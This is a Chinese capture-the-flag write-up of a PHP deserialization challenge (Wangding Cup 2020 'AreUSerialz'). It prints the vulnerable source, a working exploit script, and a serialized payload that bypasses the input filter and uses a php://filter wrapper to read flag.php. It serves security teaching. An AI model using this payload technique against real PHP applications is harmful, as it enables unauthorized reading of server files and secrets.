[網鼎杯 2020 青龍組]AreUSerialz
- 試題地址:https://buuoj.cn/challenges#[網鼎杯 2020 青龍組]AreUSerialz
-
我們打開頁面,發現如下代碼:
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }我們進行一下代碼審計:
-
先通過GET方式傳入一個str變數,然后呼叫is_valid函式,最后將str字串反序列化
if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } -
is_valid函式是判斷傳入的變數是否是ascii碼值在32-125之間的,如果不在回傳false,否則回傳ture.但是PHP序列化的時候private和protected變數會引入不可見字符\x00,這些字符對應的ascii碼為0,經過is_valid函式以后會回傳false,導致無法執行到反序列函式,
所以我們可以將ascii碼為0的用"\00"來代替
但是在php打序列化字串中只要把其中的s改成大寫打S,后面打字串就可以用十六進制表示
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } //(ord($s[$i])就是回傳$s[$i]的ascii碼值 例子: <?php echo ord("h")."<br>"; ?> 回傳結果:104 //h對應的ascii碼正好是104 -
然后is_valid函式判斷完之后,會將$str反序列化,這個時候會呼叫__destruct函式
__destruct:在一個物件銷毀的時候自動呼叫
函式參考鏈接:https://segmentfault.com/a/1190000007250604
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }會首先判斷$op是不是=‘2’,不是數字2,因為這是“===”強比較型別,會首先判斷變數型別,如果op==='2',就將op賦值為‘1’,然后content賦值為“”就是為空,然后呼叫process函式
-
process:
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); }會先判斷op==“1”,是就進入write函式,不是就會判斷op==‘2’,是的話就會進入read()函式,然后輸出$res變數,否則輸出“Bad Hacker!”
-
我們看看read()和write()
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }我們發現write()函式就是判斷filename和content變數是不是為空,然后判斷conteng長度是不是>100,是就呼叫output函式輸出“Too long!”,然后讀取filename和conteng檔案賦值給$res,判斷是否為真,為真輸出“Successful!”,為假輸出"Failed!",顯然并沒有輸出什么有用的資訊,
我們再來看看read(),首先將$res變數=“”,然后判斷filename是否有內容,將內容讀取回傳之后用output輸出,這個時候我們可以通過filename訪問flag.php檔案,這個變數是我們可控的,所以我們構造payload選擇進入read()函式
output:就是輸出傳入的引數$s
private function output($s) { echo "[Result]: <br>"; echo $s; }所以我們構造EXP:
我們需要將op=2,判斷op===“2”時回傳false,但是判斷op==“2”時回傳ture,這是php的弱比較型別和強比較型別的區別,有興趣的同學可以自行百度搜索,
這個時候就會進入read()函式,里面會有$res = file_get_contents($this->filename),這個時候我們可以用php偽協議來讀取flag.php
filename=php://filter/read=convert.base64-encode/resource=flag.php 不可以直接filename=flag.php 因為php檔案需要進行base64編碼,否則讀取不到內容完整的EXP:
<?php class FileHandler { protected $op=2; protected $filename="php://filter/read=convert.base64-encode/resource=flag.php"; protected $content=""; } $a=new FileHandler(); $b=serialize($a); $b = str_replace(chr(0),'\00',$b); $b = str_replace('s:','S:',$b); echo $b; ?>輸出結果:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";S:0:"";}然后我們構造payload輸入:
-

得到一串base64編碼,我們解密得到flag:
<?php $flag='flag{36dd844a-6cdc-40f4-a885-bc3e54524d52}';
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/289007.html
標籤:其他
上一篇:《統計學習方法》第6章習題
